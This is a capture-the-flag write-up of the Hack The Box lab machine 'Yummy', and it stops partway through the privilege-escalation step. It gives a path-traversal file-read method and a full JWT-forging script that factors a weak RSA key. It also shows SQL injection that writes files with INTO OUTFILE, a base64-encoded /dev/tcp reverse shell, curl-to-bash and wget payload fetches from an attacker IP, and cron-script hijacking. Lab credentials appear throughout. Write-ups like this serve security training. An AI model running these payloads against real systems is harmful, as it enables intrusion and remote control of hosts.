Summary:

Yummy feels more CTF-like compared to recent HTB boxes. Foothold involves a rather complex attack chain combining path traversal, JWT forging, SQL injection and multiple cron job abuses. Once on the box, I’ll exploit Mercurial and abuse sudo rights to get a root shell.


Enumeration:

Nmap:

Kali
┌──(ch3ng㉿localhost)-[~/machines/yummy]
└─$ sudo nmap --min-rate 1000 -p- 10.129.231.153

Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-18 21:01 ACDT
Nmap scan report for 10.129.231.153
Host is up (0.28s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 74.29 seconds


┌──(ch3ng㉿localhost)-[~/machines/yummy]
└─$ sudo nmap -A -p 22,80 10.129.231.153

Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-18 21:09 ACDT
Nmap scan report for 10.129.231.153
Host is up (0.28s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_  256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open  http    Caddy httpd
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://yummy.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 (96%), Linux 3.2 - 4.14 (96%), Linux 4.15 - 5.19 (96%), Linux 2.6.32 - 3.10 (96%), Linux 2.6.32 - 3.5 (94%), Linux 2.6.32 - 3.13 (94%), Linux 5.0 (94%), Linux 5.0 - 5.14 (94%), MikroTik RouterOS 6.36 - 6.48 (Linux 3.3.5) (93%), Android 9 - 10 (Linux 4.9 - 4.14) (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   276.66 ms 10.10.14.1
2   275.64 ms 10.129.231.153

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.96 seconds


Only web and SSH are open. What’s interesting here is that the server isn’t running Apache or Nginx, but instead something called Caddy. The domain name yummy.htb is also identified, which I’ll add to /etc/hosts.

TCP80 - HTTP:

yummy.htb is a restaurant. A form is shown when clicking “book a table”.

I can submit the form to reserve a table, but looks like I need an account to manage them.

The app allows user registration, so I’ll register an account and log in. At /dashboard, I can see all the bookings I’ve made.

Clicking “save icalendar” results in an .ics file download.

Kali
┌──(ch3ng㉿localhost)-[~/machines/yummy]
└─$ cat Yummy_reservation_20250218_113329.ics

BEGIN:VCALENDAR
VERSION:2.0
PRODID:ics.py - http://git.io/lLljaA
BEGIN:VEVENT
DESCRIPTION:Email: ch3ng@ch3ng.com\nNumber of People: 5\nMessage: testing
DTSTART:20250218T000000Z
SUMMARY:ch3ng
UID:7e399555-c47e-4404-a109-60c5d39a4765@7e39.org
END:VEVENT
END:VCALENDAR


I see nothing notable in the file, but the download request to /export/Yummy_reservation_<timestamp>.ics caught my attention. Since the exact filename was used, I suspect the backend server directly uses it to grab the file, making path traversal and local file read possible. I intercepted another download request and changed the path to /export/../../../../../../etc/passwd, and it worked.

Note that this only works with direct interception in Burp, the request would fail if using Burp repeater. The reason for this is that the download request requires a one-time use session cookie, which is obtained from a prior GET request to /reminder/<id>.

Speaking of cookies, I’ve also decoded X-AUTH-Token, which is the main cookie used for authentication. Surprisingly, it contains the RSA modulus (n) and exponent (e). While these values are considered “public” in RSA encryption, it’s kind of unusual to see it included in a JWT — something worth revisiting later.


Exploitation:

Path Traversal:

Since it involves multiple requests, I created a Python script to automate the process. It can be downloaded here. The script runs on an infinite loop and prints out the specified files, provided it exists and have read permission.

Kali
┌──(ch3ng㉿localhost)-[~/machines/yummy]
└─$ python file_read.py 'ch3ng@ch3ng.com' 'ch3ng'

[*] Authenticating...
[+] Authentication successful.
[+] Booking reference found: 21.


[*] Full path of file to read: (enter 'exit' to quit)
>> /etc/passwd

File read successful:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false

[*] Full path of file to read: (enter 'exit' to quit)
>> 

It has two console users: dev and qa. However, I cannot read their private keys nor the flag.

Kali
[*] Full path of file to read: (enter 'exit' to quit)
>> /home/qa/user.txt

[-] Failed to read file

[*] Full path of file to read: (enter 'exit' to quit)
>> /home/dev/user.txt

[-] Failed to read file

[*] Full path of file to read: (enter 'exit' to quit)
>> /home/qa/.ssh/id_rsa

[-] Failed to read file

[*] Full path of file to read: (enter 'exit' to quit)
>> /home/dev/.ssh/id_rsa

[-] Failed to read file

The Caddy config file is also readable, but does not contain anything useful.

Kali
[*] Full path of file to read: (enter 'exit' to quit)
>> /etc/caddy/Caddyfile

File read successful:
:80 {
    @ip {
        header_regexp Host ^(\d{1,3}\.){3}\d{1,3}$
    }
    redir @ip http://yummy.htb{uri}
    reverse_proxy 127.0.0.1:3000 {
    header_down -Server  
    }
}

Cron Jobs:

/etc/crontab can be read too, and it listed 3 frequent cron jobs, two of which runs every minute.

Kali
[*] Full path of file to read: (enter 'exit' to quit)
>> /etc/crontab

File read successful:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

dbmonitor.sh is checking the status of the MySQL service:

#!/bin/bash

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if [ "$response" != 'active' ]; then
    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
    /bin/bash "$latest_version"
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"
        fi
    else
        /usr/bin/echo "Response is OK."
    fi
fi

[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json

table_cleanup.sh restores the SQL database used by the web app. It also exposed the DB credentials.

#!/bin/sh

/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql

I can also read the SQL script, but all it does is insert dummy appointments with no sensitive information. It looks like part of HTB’s cleanup process, so I’m not sure if this is meant to be readable.

www-data’s cron also runs every minute. app_backup.sh is creating a ZIP archive of /opt/app, and saving it in the web folder:

#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app

The ZIP file is also accessible, but I’ll do the download manually in Burp this time. All the binary characters in it would break my terminal.

Looks like it’s the source code of the web app.

Kali
┌──(ch3ng㉿localhost)-[~/machines/yummy/app]
└─$ ls -la

total 40
drwxrwxr-x 7 chengw chengw  4096 Sep 30 17:46 .
drwxr-xr-x 3 chengw chengw  4096 Feb 19 02:43 ..
-rw-r--r-- 1 chengw chengw 11979 Sep 25 23:24 app.py
drwxr-xr-x 3 chengw chengw  4096 Sep 30 17:46 config
drwxr-xr-x 3 chengw chengw  4096 Sep 30 17:46 middleware
drwxrwxr-x 2 chengw chengw  4096 Sep 30 17:46 __pycache__
drwxr-xr-x 6 chengw chengw  4096 Sep 30 17:46 static
drwxr-xr-x 2 chengw chengw  4096 Sep 30 17:46 templates


Source Code Analysis:

As I’m lazy, I’ll use Snyk for a quick static code scan. It immediately identified 3 medium/high severity issues.

Kali
┌──(ch3ng㉿localhost)-[~/machines/yummy/app]
└─$ snyk code test .

Testing . ...

 ✗ [Low] Sensitive Cookie Without 'HttpOnly' Flag 
   Path: app.py, line 61 
   Info: Cookie's HttpOnly flag is set to False by default. Set it to true to protect the cookie from possible malicious code on client side.

 ✗ [Low] Sensitive Cookie Without 'HttpOnly' Flag 
   Path: app.py, line 71 
   Info: Cookie's HttpOnly flag is set to False by default. Set it to true to protect the cookie from possible malicious code on client side.

 ✗ [Low] Sensitive Cookie in HTTPS Session Without 'Secure' Attribute 
   Path: app.py, line 61 
   Info: Cookie's Secure flag is set to False by default. Set it to true to protect the cookie from man-in-the-middle attacks.

 ✗ [Low] Sensitive Cookie in HTTPS Session Without 'Secure' Attribute 
   Path: app.py, line 71 
   Info: Cookie's Secure flag is set to False by default. Set it to true to protect the cookie from man-in-the-middle attacks.

 ✗ [Medium] Use of Hardcoded Credentials 
   Path: app.py, line 23 
   Info: Do not hardcode passwords in code. Found hardcoded password used in a dictionary key.

 ✗ [High] SQL Injection 
   Path: app.py, line 286 
   Info: Unsanitized input from an HTTP parameter flows into execute, where it is used in an SQL query. This may result in an SQL Injection vulnerability.

 ✗ [High] Path Traversal 
   Path: app.py, line 159 
   Info: Unsanitized input from an HTTP parameter flows into flask.send_file, where it is used as a path. This may result in a Path Traversal vulnerability and allow an attacker to read arbitrary files.


✔ Test completed

Organization:      chengw625
Test type:         Static code analysis
Project path:      .

Summary:

  7 Code issues found
  2 [High]   1 [Medium]   4 [Low]


The path traversal vulnerability had already been exploited earlier, while the hardcoded credentials discovered were identical to those found in the cron script.

However, the SQL injection vulnerability was found in the /admindashboard endpoint:

@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
        validation = validate_login()
        if validation != "administrator":
            return redirect(url_for('login'))
 
        try:
            connection = pymysql.connect(**db_config)
            with connection.cursor() as cursor:
                sql = "SELECT * from appointments"
                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()

                search_query = request.args.get('s', '')

                # added option to order the reservations
                order_query = request.args.get('o', '')

                sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
                cursor.execute(sql, ('%' + search_query + '%',))
                connection.commit()
                appointments = cursor.fetchall()
            connection.close()
            
            return render_template('admindashboard.html', appointments=appointments)
        except Exception as e:
            flash(str(e), 'error')
            return render_template('admindashboard.html', appointments=appointments)

It is vulnerable because the o parameter is directly used in the SQL query without any input validation/sanitization. Also, it’s used at the very end of the query, making it much easier for injections.

To access this page and exploit, I’ll first need to find a way to get admin rights.

RSA 101:

config/signature.py shows how the RSA key pair is being generated. As shown above, the value of n was attached in the JWT token.

#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy


# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

RSA is an asymmetric encryption algorithm often referred to as Public Key Cryptography. Typically, the public key encrypts data, which can only be decrypted with the corresponding private key. In the case of JWT, the private key signs the token, and the public key can be used to validate its authenticity.

This page gives a good step-by-step explanation of the algorithm. Essentially the keys are generated with two large prime numbers (p and q), and the public modulus n is the product of the two numbers. The security of RSA fundamentally relies on the assumption that factoring large numbers are extremely difficult and time-consuming, as such p and q must be large enough for RSA to be secure. Nowadays a key size of 1024 bit is already considered weak, modern security standards recommend 2048 bit as the absolute minimum. As seen in the code, the key size of p is extremely small with only 20 bits, making it feasible to factor n, recover the private key and forge JWT tokens.

JWT Token Forge:

I’ve also scripted up this part, reusing some of the app’s source code for key generation. (GitHub link here)

import sys
import time
import sympy
import base64
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from colorama import Fore, Style

def factorize(n, e):
	factors = sympy.factorint(n)
	p, q = list(factors.keys())

	phi_n = (p-1) * (q-1)
	d = pow(e, -1, phi_n)

	print(Fore.GREEN + f"[+] Coprime pairs recovered!")
	print(f"[+] p: {p}")
	print(f"[+] q: {q}")
	print(Style.RESET_ALL)

	return (p, q, d)

def gen_key(p, q, d, n, e):
	phi_n = (p-1) * (q-1)
	key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
	key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
	private_key_bytes = key.export_key()

	private_key = serialization.load_pem_private_key(
		private_key_bytes,
		password=None,
		backend=default_backend()
	)
	public_key = private_key.public_key()

	return (private_key, public_key)

def gen_jwt(data, private_key):
	token = jwt.encode(data, private_key, algorithm="RS256")

	print(Fore.GREEN + f"[+] Administrative JWT generated:" + Style.RESET_ALL)
	print(token)
	return token

def main():
	if len(sys.argv) != 2:
		print(Fore.RED + f"[-] Usage: {sys.argv[0]} <email>")
		exit(0)

	n = 6702121647705042361800427665...
	e = 65537
	email = sys.argv[1]
	iat = int(time.time())
	exp = iat+3600

	(p, q, d) = factorize(n, e)
	(private_key, public_key) = gen_key(p, q, d, n, e)

	data = {
		"email": email,
		"role": "administrator",
		"iat": iat,
		"exp": exp,
		"jwk": {
			"kty": "RSA",
			"n": n,
			"e": e
		}
	}

	token = gen_jwt(data, private_key)

if __name__ == "__main__":
	main()
Kali
┌──(ch3ng㉿localhost)-[~/machines/yummy]
└─$ python jwt_forge.py 'ch3ng@ch3ng.com'

[+] Coprime pairs recovered!
[+] p: 543161
[+] q: 123391069088263744300500729347156568496347151248<..SNIP..>

[+] Administrative JWT generated:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImNoM2<..SNIP..>


I’ll add the token to my browser and reload. The app immediately redirects me to /admindashboard.


Foothold:

SQL Injection:

The dashboard simply shows a list of all bookings made, with a search function implemented. As previously identifieid by Snyk, the o parameter is vulnerable to SQL injection.

I’ll let sqlmap do the heavy lifting:

Kali
┌──(ch3ng㉿localhost)-[~/machines/yummy]
└─$ sqlmap -u 'http://yummy.htb/admindashboard?s=garcia&o=ASC' -H "Cookie: X-AUTH-Token=$(cat jwt)" -p 'o'  --tables --batch

 
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.9#stable}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:02:57 /2025-02-22/

[01:02:57] [INFO] resuming back-end DBMS 'mysql' 
[01:02:57] [INFO] testing connection to the target URL
<.SNIP..>
Database: information_schema
[79 tables]
+---------------------------------------+
| ADMINISTRABLE_ROLE_AUTHORIZATIONS     |
| APPLICABLE_ROLES                      |
| CHARACTER_SETS                        |
| CHECK_CONSTRAINTS                     |
<..SNIP..>
| PLUGINS                               |
| PROCESSLIST                           |
| TABLES                                |
| TRIGGERS                              |
+---------------------------------------+

Database: performance_schema
[8 tables]
+---------------------------------------+
| processlist                           |
| global_status                         |
| global_variables                      |
| persisted_variables                   |
| session_account_connect_attrs         |
| session_status                        |
| session_variables                     |
| variables_info                        |
+---------------------------------------+

Database: yummy_db
[2 tables]
+---------------------------------------+
| appointments                          |
| users                                 |
+---------------------------------------+


[*] ending @ 01:04:20 /2025-02-22/


yummy_db contains only two tables, with the users table surprisingly empty. I’ve also checked for privileges, and found out that FILE privilege is enabled.

Kali
┌──(ch3ng㉿localhost)-[~/machines/yummy]
└─$ sqlmap -u 'http://yummy.htb/admindashboard?s=garcia&o=ASC' -H "Cookie: X-AUTH-Token=$(cat jwt)" -p 'o'  --privileges --batch

..SNIP..
[01:11:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[01:11:32] [INFO] fetching database users privileges
[01:11:33] [INFO] retrieved: ''chef'@'localhost''
[01:11:34] [INFO] retrieved: 'FILE'
database management system users privileges:
[*] 'chef'@'localhost' [1]:
    privilege: FILE


[*] ending @ 01:11:34 /2025-02-22/


This essentially allows writing to arbitrary files using SELECT "<contents>" INTO OUTFILE "<filepath>", providing the SQL user has write access in the target directory. However, unlike PHP servers, it’s not as easy as dropping a web shell in the web root. Creating a bash script is possible, but I’ll need to find a way to trigger it.

mysql Cron:

I’ll have another look at mysql’s per-minute cron job running /data/scripts/dbmonitor.sh:

#!/bin/bash

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if [ "$response" != 'active' ]; then
    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
    /bin/bash "$latest_version"
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"
        fi
    else
        /usr/bin/echo "Response is OK."
    fi
fi

[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json

The wildcard caught my attention. It’s grabbing the latest script in /data/scripts/ that starts with “fixer-v” and executing it.

latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"

This possibly means arbitrary code execution if I can create file named fixer-v_ in that directory and write into it. However, the command is nested in several if-else statements. The following conditions must be satisfied for that line to run:

  1. systemctl is-active mysql must return “active”;
  2. /data/scripts/dbstatus.json exists; and
  3. /data/scripts/dbstatus.json does not contain “database is down”.

Point 1 is almost certainly true, and I can also satisfy points 2 and 3 by creating dbstatus.json via SQL injection.

I’ll first set up an HTTP server hosting this reverse shell script:

#!/bin/bash

echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjI0LzgwMDEgMD4mMQ== | base64 -d | bash

Then I’ll create the necessary files on the server with the following two curl commands:

$ curl -s -b "X-AUTH-Token=$(cat jwt)" 'http://yummy.htb/admindashboard?s=garcia&o=ASC;+SELECT+"asdf"+INTO+OUTFILE+"/data/scripts/dbstatus.json";' > /dev/null

$ curl -s -b "X-AUTH-Token=$(cat jwt)" 'http://yummy.htb/admindashboard?s=garcia&o=ASC;+SELECT+"curl+http://10.10.14.24:8000/rev.sh+|+bash;"+INTO+OUTFILE+"/data/scripts/fixer-v_";' > /dev/null

The fixer script and dbstatus.json should be created. After a short while, the nc listener caught a shell as mysql.

Kali
┌──(ch3ng㉿localhost)-[~/machines/yummy]
└─$ rlwrap nc -lvnp 8001

listening on [any] 8001 ...
connect to [10.10.14.24] from (UNKNOWN) [10.129.195.30] 58998
bash: cannot set terminal process group (10955): Inappropriate ioctl for device
bash: no job control in this shell


mysql@yummy:/var/spool/cron$ id

uid=110(mysql) gid=110(mysql) groups=110(mysql)


Escalation from mysql:

www-data Cron:

I’ll once again look at the cron jobs on the box. www-data’s running /data/scripts/app_backup.sh every minute. This was already leveraged once to discover and access the source code backup earlier.

*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

Notably, /data/scripts/ is also globally writable. While I cannot directly edit app_backup.sh, I can simply rename or delete it and create a reverse shell script with the same name.

Yummy
mysql@yummy:/data/scripts$ ls -la

total 32
drwxrwxrwx 2 root root 4096 Feb 21 16:20 .
drwxr-xr-x 3 root root 4096 Sep 30 08:16 ..
-rw-r--r-- 1 root root   90 Sep 26 15:31 app_backup.sh
-rw-r--r-- 1 root root 1336 Sep 26 15:31 dbmonitor.sh
-rw-r----- 1 root root   60 Feb 21 16:20 fixer-v1.0.1.sh
-rw-r--r-- 1 root root 5570 Sep 26 15:31 sqlappointments.sql
-rw-r--r-- 1 root root  114 Sep 26 15:31 table_cleanup.sh

Here, I’ll simply replace app_backup.sh with the reverse shell payload I used earlier:

Yummy
mysql@yummy:/data/scripts$ wget http://10.10.14.24:8000/rev.sh

--2025-02-21 16:28:52--  http://10.10.14.24:8000/rev.sh
Connecting to 10.10.14.24:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 102 [text/x-sh]
Saving to: ‘rev.sh’

rev.sh              100%[===================>]     102  --.-KB/s    in 0s

mysql@yummy:/data/scripts$ mv app_backup.sh app_backup_2.sh

mysql@yummy:/data/scripts$ mv rev.sh app_backup.sh

And a www-data shell is soon sent back.

Kali
┌──(ch3ng㉿localhost)-[~/machines/yummy]
└─$ rlwrap nc -lvnp 8001

listening on [any] 8001 ...
connect to [10.10.14.24] from (UNKNOWN) [10.129.195.30] 55688
bash: cannot set terminal process group (11652): Inappropriate ioctl for device
bash: no job control in this shell


www-data@yummy:/root$ id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Interestingly, I landed in /root, but cannot list its directory contents nor read any files.

Yummy
www-data@yummy:/root$ ls -la

ls: cannot open directory '.': Permission denied


Escalation from www-data:

Mercurial Version Control:

There’s another web folder in /var/www/ called app-qatesting. I’ll check the files again to see if there are any new config files or creds, but didn’t find any. The RSA and SQL vulnerabilities also seems to be patched in this version.

#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy


# Generate RSA key pair
q = sympy.randprime(2**1023, 2**1024) # this q number is too small
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

Also, there’s a strange hidden folder .hg/:

Yummy
www-data@yummy:~/app-qatesting$ ls -la

total 40
drwxrwx--- 7 www-data qa        4096 May 28  2024 .
drwxr-xr-x 3 www-data www-data  4096 Feb 21 16:34 ..
-rw-rw-r-- 1 qa       qa       10852 May 28  2024 app.py
drwxr-xr-x 3 qa       qa        4096 May 28  2024 config
drwxrwxr-x 6 qa       qa        4096 May 28  2024 .hg
drwxr-xr-x 3 qa       qa        4096 May 28  2024 middleware
drwxr-xr-x 6 qa       qa        4096 May 28  2024 static
drwxr-xr-x 2 qa       qa        4096 May 28  2024 templates

Looks like it contains some backups of old versions.

Yummy
www-data@yummy:~/app-qatesting$ ls -la .hg

total 64
drwxrwxr-x 6 qa       qa 4096 May 28  2024 .
drwxrwx--- 7 www-data qa 4096 May 28  2024 ..
-rw-rw-r-- 1 qa       qa   57 May 28  2024 00changelog.i
-rw-rw-r-- 1 qa       qa    0 May 28  2024 bookmarks
-rw-rw-r-- 1 qa       qa    8 May 28  2024 branch
drwxrwxr-x 2 qa       qa 4096 May 28  2024 cache
-rw-rw-r-- 1 qa       qa 7102 May 28  2024 dirstate
-rw-rw-r-- 1 qa       qa   34 May 28  2024 last-message.txt
-rw-rw-r-- 1 qa       qa   11 May 28  2024 requires
drwxrwxr-x 4 qa       qa 4096 May 28  2024 store
drwxrwxr-x 2 qa       qa 4096 May 28  2024 strip-backup
-rw-rw-r-- 1 qa       qa    8 May 28  2024 undo.backup.branch.bck
-rw-rw-r-- 1 qa       qa 7102 May 28  2024 undo.backup.dirstate.bck
-rw-rw-r-- 1 qa       qa    9 May 28  2024 undo.desc
drwxrwxr-x 2 qa       qa 4096 May 28  2024 wcache

After Googling, I learned that .hg/ is used by Mercurial, a version control tool similar to Git. Looking at Mercurial’s command cheatsheet, it seems like they have identical functionalities too.

Similar to git log -v, I can show old commits with hg log -l 10. All except “removed comments” are related to the web app patching.

Yummy
www-data@yummy:~/app-qatesting$ hg log -l 10

WARNING: terminal is not fully functional
Press RETURN to continue 

changeset:   9:f3787cac6111
tag:         tip
user:        qa
date:        Tue May 28 10:37:16 2024 -0400
summary:     attempt at patching path traversal

changeset:   8:0bbf8464d2d2
user:        qa
date:        Tue May 28 10:34:38 2024 -0400
summary:     removed comments

changeset:   7:2ec0ee295b83
user:        qa
date:        Tue May 28 10:32:50 2024 -0400
summary:     patched SQL injection vuln

changeset:   6:f87bdc6c94a8
user:        qa
date:        Tue May 28 10:27:32 2024 -0400
summary:     patched signature vuln

changeset:   5:6c59496d5251
user:        dev

I can also show the exact changes of the “removed comments” commit with hg diff --change <id>:

Yummy
www-data@yummy:~/app-qatesting$ hg diff --change 8:0bbf8464d2d2

WARNING: terminal is not fully functional
Press RETURN to continue 

diff -r 2ec0ee295b83 -r 0bbf8464d2d2 app.py
--- a/app.py    Tue May 28 10:32:50 2024 -0400
+++ b/app.py    Tue May 28 10:34:38 2024 -0400
@@ -19,8 +19,8 @@
 
 db_config = {
     'host': '127.0.0.1',
-    'user': 'chef',
-    'password': '3wDo7gSRZIwIHRxZ!',
+    'user': 'qa',
+    'password': 'jPAd!XQCtn8Oc@2B',
